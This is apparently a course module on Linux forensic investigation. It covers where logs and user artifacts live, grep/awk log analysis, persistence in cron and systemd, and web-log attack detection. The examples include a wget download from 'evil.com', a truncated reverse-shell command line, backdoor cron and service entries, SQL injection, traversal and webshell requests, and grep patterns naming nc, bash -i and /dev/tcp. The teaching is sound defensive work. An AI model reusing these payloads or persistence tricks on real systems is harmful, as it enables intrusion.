Opening Framing
Linux systems dominate servers, cloud infrastructure, and embedded devices. When breaches occur, Linux forensics skills are essential. Unlike Windows with its Registry and proprietary formats, Linux stores most configuration and logs in human-readable text files—a design philosophy that aids forensic investigation.
The challenge with Linux forensics isn't finding artifacts—it's knowing where to look across hundreds of configuration files and log locations. Different distributions organize files differently. Services write logs to various locations. User activity hides in dotfiles scattered throughout home directories.
This week covers Linux file system layout, log analysis techniques, user artifact locations, persistence mechanisms, and the command-line tools that make Linux forensics efficient. You'll learn to investigate compromised Linux servers and reconstruct attacker activity from text-based evidence.
Key insight: Linux's transparency is a forensic advantage. Configuration is explicit, logs are verbose, and powerful text-processing tools are built in.
1) Linux File System Layout
Understanding the Linux directory structure is fundamental to knowing where evidence lives:
Linux Directory Hierarchy:
/
├── bin/ → Essential user binaries (ls, cp, cat)
├── boot/ → Boot loader, kernel images
├── dev/ → Device files
├── etc/ → System configuration files (CRITICAL)
├── home/ → User home directories (CRITICAL)
├── lib/ → Shared libraries
├── media/ → Removable media mount points
├── mnt/ → Temporary mount points
├── opt/ → Optional/third-party software
├── proc/ → Virtual filesystem - process info (live only)
├── root/ → Root user's home directory (CRITICAL)
├── run/ → Runtime data (live only)
├── sbin/ → System binaries (admin commands)
├── srv/ → Service data (web, ftp)
├── sys/ → Virtual filesystem - kernel info (live only)
├── tmp/ → Temporary files (often cleared on reboot)
├── usr/ → User programs and data
│ ├── bin/ → User binaries
│ ├── lib/ → Libraries
│ ├── local/ → Locally installed software
│ └── share/ → Shared data
└── var/ → Variable data (CRITICAL)
├── log/ → System logs
├── spool/ → Print/mail queues
├── tmp/ → Persistent temp files
└── www/ → Web server content
Forensically Critical Directories:
/etc/ - System Configuration:
/etc/passwd → User accounts (not passwords)
/etc/shadow → Password hashes (if accessible)
/etc/group → Group definitions
/etc/sudoers → Sudo privileges
/etc/ssh/ → SSH configuration
/etc/crontab → System cron jobs
/etc/cron.d/ → Additional cron jobs
/etc/cron.daily/ → Daily scheduled tasks
/etc/hosts → Static hostname mappings
/etc/hosts.allow → TCP wrappers allow
/etc/hosts.deny → TCP wrappers deny
/etc/resolv.conf → DNS configuration
/etc/fstab → Filesystem mount config
/etc/rc.local → Startup commands (legacy)
/etc/systemd/ → Systemd service configs
/etc/init.d/ → Init scripts (legacy)
Investigation focus:
- Modified timestamps on config files
- Unusual entries in passwd/shadow
- Unexpected cron jobs
- SSH key additions
- Sudoers modifications
/var/log/ - System Logs:
/var/log/ Contents:
Authentication:
/var/log/auth.log → Debian/Ubuntu auth events
/var/log/secure → RHEL/CentOS auth events
System:
/var/log/syslog → General system log (Debian)
/var/log/messages → General system log (RHEL)
/var/log/kern.log → Kernel messages
/var/log/dmesg → Boot messages
Services:
/var/log/apache2/ → Apache logs
/var/log/nginx/ → Nginx logs
/var/log/mysql/ → MySQL logs
/var/log/postgresql/ → PostgreSQL logs
Package Management:
/var/log/dpkg.log → Debian package installs
/var/log/yum.log → RHEL package installs
/var/log/apt/ → APT history
Other:
/var/log/cron → Cron execution log
/var/log/maillog → Mail server log
/var/log/boot.log → Boot process log
/var/log/faillog → Failed login attempts
/var/log/lastlog → Last login info (binary)
/var/log/wtmp → Login history (binary)
/var/log/btmp → Failed login history (binary)
User Home Directories:
/home/{user}/ and /root/:
Shell History:
.bash_history → Bash command history
.zsh_history → Zsh command history
.history → Generic history file
Shell Configuration:
.bashrc → Bash settings (per-session)
.bash_profile → Bash settings (login)
.profile → Shell profile
.zshrc → Zsh configuration
SSH:
.ssh/authorized_keys → Allowed public keys
.ssh/known_hosts → Previously connected hosts
.ssh/id_rsa → Private key
.ssh/config → SSH client config
Application Data:
.config/ → XDG config directory
.local/ → User-specific data
.cache/ → Cached data
.mozilla/ → Firefox profile
.gnupg/ → GPG keys and config
Other:
.viminfo → Vim history
.lesshst → Less command history
.mysql_history → MySQL command history
.python_history → Python REPL history
.wget-hsts → WGET HSTS data
Key insight: Attackers often target .bash_history deletion but forget about .mysql_history, .viminfo, and other application-specific history files.
2) Log Analysis Fundamentals
Linux logs follow standard formats that enable efficient parsing with command-line tools:
Syslog Format:
Traditional syslog:
Mar 15 09:30:45 hostname service[pid]: message
Fields:
- Timestamp (no year - requires context)
- Hostname
- Service/daemon name
- Process ID
- Log message
Example:
Mar 15 09:30:45 webserver sshd[1234]: Accepted publickey for admin from 192.168.1.100 port 54321
Modern systemd journal:
- Binary format (use journalctl)
- Includes microsecond timestamps
- Structured data fields
- Automatic rotation
Authentication Log Analysis:
auth.log / secure Key Events:
Successful SSH Login:
Mar 15 09:30:45 server sshd[1234]: Accepted publickey for user from 10.0.0.1 port 54321 ssh2
Failed SSH Login:
Mar 15 09:30:46 server sshd[1235]: Failed password for invalid user admin from 10.0.0.2 port 54322 ssh2
Sudo Usage:
Mar 15 09:31:00 server sudo: user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/bin/bash
Session Opened:
Mar 15 09:31:01 server sudo: pam_unix(sudo:session): session opened for user root by user(uid=1000)
User Added:
Mar 15 09:32:00 server useradd[1240]: new user: name=backdoor, UID=1001, GID=1001
Password Changed:
Mar 15 09:32:30 server passwd[1245]: pam_unix(passwd:chauthtok): password changed for backdoor
Key Investigation Queries:
# Failed logins
$ grep "Failed password" /var/log/auth.log
# Successful logins
$ grep "Accepted" /var/log/auth.log
# Sudo commands
$ grep "COMMAND=" /var/log/auth.log
# User creation
$ grep "useradd\|adduser" /var/log/auth.log
# SSH key authentication
$ grep "Accepted publickey" /var/log/auth.log
Essential Log Analysis Commands:
grep - Pattern Searching:
# Basic search
$ grep "error" /var/log/syslog
# Case insensitive
$ grep -i "error" /var/log/syslog
# Show line numbers
$ grep -n "error" /var/log/syslog
# Context (3 lines before/after)
$ grep -B3 -A3 "error" /var/log/syslog
# Invert match (exclude)
$ grep -v "CRON" /var/log/syslog
# Extended regex
$ grep -E "error|warning|critical" /var/log/syslog
# Count matches
$ grep -c "Failed password" /var/log/auth.log
awk - Field Processing:
# Print specific fields
$ awk '{print $1, $2, $3, $5}' /var/log/auth.log
# Filter by field value
$ awk '$5 == "sshd" {print}' /var/log/auth.log
# Sum values
$ awk '{sum += $10} END {print sum}' access.log
sed - Stream Editing:
# Extract between patterns
$ sed -n '/Mar 15 09:00/,/Mar 15 10:00/p' /var/log/auth.log
# Replace text
$ sed 's/old/new/g' file.log
sort and uniq - Frequency Analysis:
# Count unique IPs in auth failures
$ grep "Failed password" /var/log/auth.log | \
awk '{print $(NF-3)}' | sort | uniq -c | sort -rn
# Top 10 attacking IPs
$ grep "Failed password" /var/log/auth.log | \
awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10
journalctl - Systemd Logs:
journalctl Commands:
# All logs
$ journalctl
# Follow new entries
$ journalctl -f
# Since specific time
$ journalctl --since "2024-03-15 09:00:00"
$ journalctl --since "1 hour ago"
$ journalctl --since yesterday
# Time range
$ journalctl --since "2024-03-15" --until "2024-03-16"
# Specific unit/service
$ journalctl -u sshd
$ journalctl -u nginx
# By priority
$ journalctl -p err # Errors and above
$ journalctl -p warning
# Kernel messages
$ journalctl -k
# Boot logs
$ journalctl -b # Current boot
$ journalctl -b -1 # Previous boot
# Output formats
$ journalctl -o json-pretty
$ journalctl -o short-precise
# Export for analysis
$ journalctl --since yesterday -o json > logs.json
Key insight: Master grep, awk, and sort | uniq -c | sort -rn for rapid log analysis. These three command chains solve most log investigation tasks.
3) User Activity Artifacts
Reconstructing user activity requires examining shell history, login records, and application-specific artifacts:
Shell History Analysis:
.bash_history Location:
- /home/{user}/.bash_history
- /root/.bash_history
Important: History may be:
- Truncated (HISTSIZE limit)
- Not saved (unset HISTFILE)
- Cleared by attacker
- Overwritten on logout (HISTFILESIZE)
Enhance history capture (if you manage system):
export HISTTIMEFORMAT="%F %T "
export HISTSIZE=10000
export HISTFILESIZE=10000
shopt -s histappend
Reading history with timestamps:
$ HISTTIMEFORMAT="%F %T " history
501 2024-03-15 09:30:45 cd /var/www
502 2024-03-15 09:30:52 wget http://evil.com/shell.php
503 2024-03-15 09:31:10 chmod +x shell.php
Investigation technique:
# Suspicious commands
$ grep -E "wget|curl|nc|ncat|python|perl|ruby|bash -i|/dev/tcp" .bash_history
# Privilege escalation attempts
$ grep -E "sudo|su -|passwd|shadow|sudoers" .bash_history
# Data exfiltration
$ grep -E "scp|rsync|ftp|sftp|tar|zip|base64" .bash_history
# Reconnaissance
$ grep -E "whoami|id|uname|cat /etc|ifconfig|ip addr" .bash_history
Login Records:
Binary Login Files:
/var/log/wtmp - Successful Logins:
$ last -f /var/log/wtmp
admin pts/0 192.168.1.100 Fri Mar 15 09:30 still logged in
admin pts/0 192.168.1.100 Thu Mar 14 14:20 - 18:45 (04:25)
$ last -f /var/log/wtmp -i # Show IP instead of hostname
$ last -f /var/log/wtmp -F # Show full timestamps
/var/log/btmp - Failed Logins:
$ lastb -f /var/log/btmp
root ssh:notty 10.0.0.50 Fri Mar 15 09:28 - 09:28 (00:00)
admin ssh:notty 10.0.0.50 Fri Mar 15 09:28 - 09:28 (00:00)
/var/log/lastlog - Last Login Per User:
$ lastlog
Username Port From Latest
root pts/0 192.168.1.100 Fri Mar 15 09:30:45 +0000 2024
admin pts/1 192.168.1.101 Thu Mar 14 14:20:00 +0000 2024
www-data **Never logged in**
/var/run/utmp - Current Logins (live system):
$ who
admin pts/0 2024-03-15 09:30 (192.168.1.100)
$ w # More detail including idle time
SSH Artifacts:
SSH Evidence Locations:
Server Side:
/var/log/auth.log → Connection attempts
/etc/ssh/sshd_config → Server configuration
~/.ssh/authorized_keys → Allowed public keys (CHECK!)
Client Side:
~/.ssh/known_hosts → Servers connected to
~/.ssh/config → Client configuration
~/.ssh/id_rsa, id_ed25519 → Private keys
Key Investigation Points:
authorized_keys Tampering:
$ cat /root/.ssh/authorized_keys
ssh-rsa AAAA... admin@legitimate
ssh-rsa AAAA... attacker@evil.com # SUSPICIOUS!
$ stat /root/.ssh/authorized_keys # Check modification time
known_hosts (where user connected):
$ cat ~/.ssh/known_hosts
192.168.1.50 ssh-rsa AAAA...
github.com,140.82.121.4 ssh-rsa AAAA...
SSH Config (aliases reveal targets):
$ cat ~/.ssh/config
Host target
HostName 10.0.0.100
User admin
IdentityFile ~/.ssh/stolen_key
Cron Jobs - Scheduled Tasks:
Cron Locations:
System Cron:
/etc/crontab → System cron table
/etc/cron.d/ → Additional system jobs
/etc/cron.daily/ → Daily jobs
/etc/cron.hourly/ → Hourly jobs
/etc/cron.weekly/ → Weekly jobs
/etc/cron.monthly/ → Monthly jobs
User Cron:
/var/spool/cron/crontabs/{user} # Debian/Ubuntu
/var/spool/cron/{user} # RHEL/CentOS
Listing cron jobs:
$ crontab -l -u root # Root's crontab
$ cat /etc/crontab # System crontab
$ ls -la /etc/cron.d/ # Additional cron files
Cron Format:
* * * * * command
│ │ │ │ │
│ │ │ │ └── Day of week (0-7, 0=Sunday)
│ │ │ └──── Month (1-12)
│ │ └────── Day of month (1-31)
│ └──────── Hour (0-23)
└────────── Minute (0-59)
Malicious Cron Example:
*/5 * * * * /tmp/.hidden/beacon.sh # Every 5 minutes
@reboot /var/tmp/.persist/backdoor # On every reboot
Check for suspicious cron:
$ find /etc/cron* /var/spool/cron -type f -exec ls -la {} \;
$ grep -r "wget\|curl\|nc\|bash -i" /etc/cron* /var/spool/cron
Key insight: Attackers commonly add SSH keys to authorized_keys and create cron jobs for persistence. These should be among the first places you check.
4) Process and Service Analysis
On a live system, process analysis reveals active malware and attacker sessions. On forensic images, service configuration shows persistence mechanisms:
Live Process Analysis:
Process Listing:
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 169432 11236 ? Ss 09:00 0:01 /sbin/init
root 500 0.0 0.0 72304 3440 ? Ss 09:00 0:00 /usr/sbin/sshd
$ ps auxf # Forest view (shows parent-child)
$ ps -ef # Full format
Process Tree:
$ pstree -p
init(1)─┬─sshd(500)───sshd(1234)───bash(1235)───python(1240)
├─cron(400)
└─apache2(600)─┬─apache2(601)
└─apache2(602)
Suspicious Process Indicators:
- Process running from /tmp, /dev/shm, /var/tmp
- Deleted binary: (deleted) in /proc/{pid}/exe
- Unusual parent-child relationships
- High resource usage
- Network connections from unexpected processes
/proc Filesystem Analysis:
/proc/{pid}/ Contents:
/proc/{pid}/cmdline → Command line arguments
/proc/{pid}/cwd → Current working directory (symlink)
/proc/{pid}/environ → Environment variables
/proc/{pid}/exe → Executable path (symlink)
/proc/{pid}/fd/ → Open file descriptors
/proc/{pid}/maps → Memory mappings
/proc/{pid}/status → Process status
Investigation Commands:
# Find process executable
$ ls -la /proc/1234/exe
lrwxrwxrwx 1 root root 0 Mar 15 /proc/1234/exe -> /usr/bin/python3
# Deleted binary indicator
$ ls -la /proc/1234/exe
lrwxrwxrwx 1 root root 0 Mar 15 /proc/1234/exe -> /tmp/malware (deleted)
# Recover deleted binary from memory
$ cp /proc/1234/exe /tmp/recovered_binary
# Check command line
$ cat /proc/1234/cmdline | tr '\0' ' '
python3 -c import socket,subprocess...
# Check working directory
$ ls -la /proc/1234/cwd
lrwxrwxrwx 1 root root 0 Mar 15 /proc/1234/cwd -> /tmp/.hidden
# List open files
$ ls -la /proc/1234/fd/
0 -> /dev/null
1 -> /tmp/output.log
3 -> socket:[12345]
# Check environment
$ cat /proc/1234/environ | tr '\0' '\n'
Network Connections:
Network Analysis Commands:
netstat (legacy but common):
$ netstat -tulpn # TCP/UDP listening with PID
$ netstat -an # All connections numeric
$ netstat -antpe # Extended info with PID
ss (modern replacement):
$ ss -tulpn # TCP/UDP listening with process
$ ss -an # All connections
$ ss -o state established # Established connections
Connection States to Investigate:
ESTABLISHED → Active connections (to where?)
LISTEN → Services waiting for connections
SYN_SENT → Outbound connection attempts
TIME_WAIT → Recently closed connections
lsof for Network:
$ lsof -i # All network connections
$ lsof -i :22 # Connections on port 22
$ lsof -i @10.0.0.1 # Connections to specific IP
$ lsof -p 1234 -i # Network connections for PID
Finding Suspicious Connections:
# Connections to non-standard ports
$ ss -tulpn | grep -v ":22\|:80\|:443"
# Established connections with PIDs
$ ss -tunap state established
# Process making connection to suspicious IP
$ lsof -i @evil.com
Systemd Service Analysis:
Systemd Investigation:
List All Services:
$ systemctl list-units --type=service
$ systemctl list-units --type=service --state=running
Service Locations:
/etc/systemd/system/ → Admin-created services
/lib/systemd/system/ → Package-installed services
/run/systemd/system/ → Runtime services
~/.config/systemd/user/ → User services
Examine Service File:
$ systemctl cat suspicious.service
[Unit]
Description=Definitely Not Malware
[Service]
ExecStart=/tmp/.hidden/backdoor
Restart=always
[Install]
WantedBy=multi-user.target
Red Flags in Service Files:
- ExecStart pointing to /tmp, /dev/shm, /var/tmp
- Recently created service files
- Obfuscated or encoded commands
- Services that restart always
- Services running as root unnecessarily
Check service status:
$ systemctl status suspicious.service
$ journalctl -u suspicious.service
Key insight: On a live system, /proc provides real-time process data that doesn't exist in forensic images. Capture this volatile data before shutdown.
5) Web Server and Application Logs
Web servers are common attack targets. Their logs reveal attack patterns, successful exploits, and data exfiltration:
Apache/Nginx Access Log Format:
Combined Log Format:
10.0.0.1 - - [15/Mar/2024:09:30:45 +0000] "GET /index.html HTTP/1.1" 200 1234 "http://referrer.com" "Mozilla/5.0..."
Fields:
- Client IP
- Ident (usually -)
- User (usually - unless authenticated)
- Timestamp
- Request line (method, path, protocol)
- Status code
- Response size
- Referrer
- User agent
Log Locations:
Apache: /var/log/apache2/access.log, error.log
Nginx: /var/log/nginx/access.log, error.log
Custom: Check config files for CustomLog/access_log directives
Web Attack Detection:
SQL Injection Attempts:
$ grep -E "union.*select|'.*or.*'|;.*--|sleep\(|benchmark\(" access.log
10.0.0.1 - - [...] "GET /page?id=1' UNION SELECT * FROM users-- HTTP/1.1" 200
XSS Attempts:
$ grep -iE " HTTP/1.1" 200
Directory Traversal:
$ grep -E "\.\./|\.\.%2f|%2e%2e" access.log
10.0.0.1 - - [...] "GET /download?file=../../../etc/passwd HTTP/1.1" 200
Web Shell Access:
$ grep -E "cmd=|exec=|shell=|c99|r57|b374k" access.log
10.0.0.1 - - [...] "POST /uploads/shell.php?cmd=id HTTP/1.1" 200
Command Injection:
$ grep -E ";.*cat|;.*ls|;.*wget|\|.*bash" access.log
Scanner Detection (common tools):
$ grep -iE "nikto|sqlmap|nmap|dirbuster|gobuster|wfuzz" access.log
Log Analysis Techniques:
Frequency Analysis:
# Top IPs by request count
$ awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20
# Top requested URLs
$ awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -20
# Requests by hour
$ awk '{print $4}' access.log | cut -d: -f2 | sort | uniq -c
# Status code distribution
$ awk '{print $9}' access.log | sort | uniq -c | sort -rn
# Failed requests (4xx, 5xx)
$ awk '$9 ~ /^[45]/' access.log
Timeline Analysis:
# Requests from specific IP
$ grep "^10.0.0.1" access.log
# Requests in time window
$ awk '$4 >= "[15/Mar/2024:09:00" && $4 <= "[15/Mar/2024:10:00"' access.log
# POST requests (often exploitation)
$ grep "POST" access.log
# Large responses (data exfiltration?)
$ awk '$10 > 1000000 {print}' access.log
Error Log Analysis:
Error Log Investigation:
Apache Error Log Format:
[Fri Mar 15 09:30:45.123456 2024] [error] [pid 1234] [client 10.0.0.1:54321] message
Key Error Types:
- PHP errors (failed exploits)
- Permission denied (access attempts)
- File does not exist (enumeration)
- ModSecurity alerts (attack detection)
$ grep -i "error\|warning\|fatal" error.log
$ grep "File does not exist" error.log | awk -F: '{print $NF}' | sort | uniq -c | sort -rn
PHP Errors Indicating Attacks:
[error] PHP Warning: include(/etc/passwd): failed to open stream
[error] PHP Warning: mysql_query(): You have an error in your SQL syntax
[error] PHP Fatal error: Call to undefined function system()
ModSecurity (if enabled):
$ grep "ModSecurity" error.log
[error] ModSecurity: Access denied with code 403. Pattern match "union.*select"
Application-Specific Logs:
Database Logs:
MySQL/MariaDB:
/var/log/mysql/error.log
/var/log/mysql/mysql.log (general query log)
/var/log/mysql/mysql-slow.log
$ grep -i "error\|warning\|denied" /var/log/mysql/error.log
PostgreSQL:
/var/log/postgresql/postgresql-*-main.log
Mail Server Logs:
Postfix:
/var/log/mail.log
$ grep "status=sent" /var/log/mail.log # Sent messages
$ grep "reject" /var/log/mail.log # Rejected
Look for:
- Mass mailing (compromised for spam)
- Unusual recipients
- Attachment names
Application Frameworks:
- Check app-specific log directories
- /var/log/{application}/
- /opt/{application}/logs/
- Application's home directory
Key insight: Web access logs are often the first indicator of compromise. Attackers scan, exploit, then establish persistence—the logs show the journey.
Real-World Context
Case Study: Linux Server Compromise
A company detected unusual outbound traffic from a web server. Linux forensic analysis revealed: Apache access logs showed SQL injection attempts against a vulnerable PHP application, followed by POST requests to an uploaded webshell. bash_history for www-data showed reconnaissance commands (id, uname -a, cat /etc/passwd). An unauthorized SSH key was added to root's authorized_keys. A cron job running every 5 minutes connected to a C2 server. The timeline from exploitation to persistence was reconstructed entirely from logs and text files.
Case Study: Cryptocurrency Mining Infection
A cloud server showed 100% CPU usage. Investigation found: /proc analysis revealed a process running from /dev/shm with a deleted binary. netstat showed connections to mining pool ports. A systemd service ensured the miner restarted on reboot. The initial compromise came through an exposed Docker API— found in auth.log as connections from unusual IPs pulling malicious images.
MITRE ATT&CK Alignment:
Linux Forensics Maps to Detection:
Initial Access:
- T1190: Exploit Public-Facing Application → Web server logs
- T1133: External Remote Services → auth.log SSH entries
Execution:
- T1059.004: Unix Shell → .bash_history, audit logs
- T1053.003: Cron → /etc/cron*, /var/spool/cron
Persistence:
- T1098.004: SSH Authorized Keys → ~/.ssh/authorized_keys
- T1053.003: Cron → Scheduled task entries
- T1543.002: Systemd Service → /etc/systemd/system/
Defense Evasion:
- T1070.002: Clear Linux Logs → Log gaps, truncation
- T1070.003: Clear Command History → Empty/truncated history
Discovery:
- T1083: File and Directory Discovery → Commands in history
- T1057: Process Discovery → ps, top in history
Collection:
- T1005: Data from Local System → tar, zip commands
Exfiltration:
- T1048: Exfiltration Over Alternative Protocol → scp, curl, wget in history
Linux's text-based nature means attack artifacts are often visible in human-readable logs—if you know where to look.
Guided Lab: Linux Server Investigation
In this lab, you'll investigate a compromised Linux web server to identify the attack vector, attacker actions, and persistence mechanisms.
Lab Environment:
- SIFT Workstation or Linux forensic VM
- Compromised Linux server image or log bundle
- Command-line tools: grep, awk, sed, journalctl
Exercise Steps:
- Examine /var/log/auth.log for unauthorized access
- Analyze web server access logs for attack patterns
- Review bash_history files for attacker commands
- Check for unauthorized SSH keys in authorized_keys files
- Examine cron jobs for persistence mechanisms
- Review systemd services for malicious entries
- Build attack timeline from multiple log sources
Reflection Questions:
- What was the initial compromise vector?
- How did the attacker maintain access?
- What evidence would be lost if the system was rebooted?
Week Outcome Check
By the end of this week, you should be able to:
- Navigate the Linux file system hierarchy for forensic artifacts
- Analyze authentication logs to identify unauthorized access
- Use grep, awk, and sed for efficient log analysis
- Extract user activity from bash_history and login records
- Identify persistence mechanisms in cron and systemd
- Analyze live processes using /proc filesystem
- Investigate web server logs for attack indicators
- Correlate multiple log sources into attack timelines
🎯 Hands-On Labs (Free & Essential)
Practice Linux artifact analysis before moving to reading resources.
🎮 TryHackMe: Linux Forensics
What you'll do: Analyze Linux artifacts, logs, and user activity.
Why it matters: Linux systems power most servers and cloud workloads.
Time estimate: 2-3 hours
📝 Lab Exercise: Linux Log Timeline
Task: Build a timeline from auth.log, syslog, and bash_history.
Deliverable: Timeline table with timestamps, source, and inferred action.
Why it matters: Timelines connect artifacts into coherent narratives.
Time estimate: 90-120 minutes
🏁 PicoCTF Practice: Forensics (Linux Artifacts)
What you'll do: Solve challenges that involve log and file recovery analysis.
Why it matters: Reinforces evidence handling and artifact interpretation.
Time estimate: 1-2 hours
🛡️ Lab: Build Correlation Rules
What you'll do: Create 2 correlation rules in Splunk or Elastic (KQL).
Deliverable: Rule logic + notes on required data sources.
Why it matters: Correlation turns artifacts into alerts.
Time estimate: 60-90 minutes
💡 Lab Tip: Capture log hashes before you start analysis to preserve integrity.
🛡️ SIEM Correlation Logic
Forensics artifacts become far more valuable when correlated. SIEM logic links user actions, processes, and network events.
Correlation basics:
- Join auth + process + network logs
- Add time windows for suspicious bursts
- Prioritize rare or first-time events
- Document false-positive sources
📚 Building on CSY201: Alert tuning and query optimization techniques.
Resources
Lab
Complete the following lab exercises to practice Linux forensic analysis. Use a provided compromised system image or log bundle.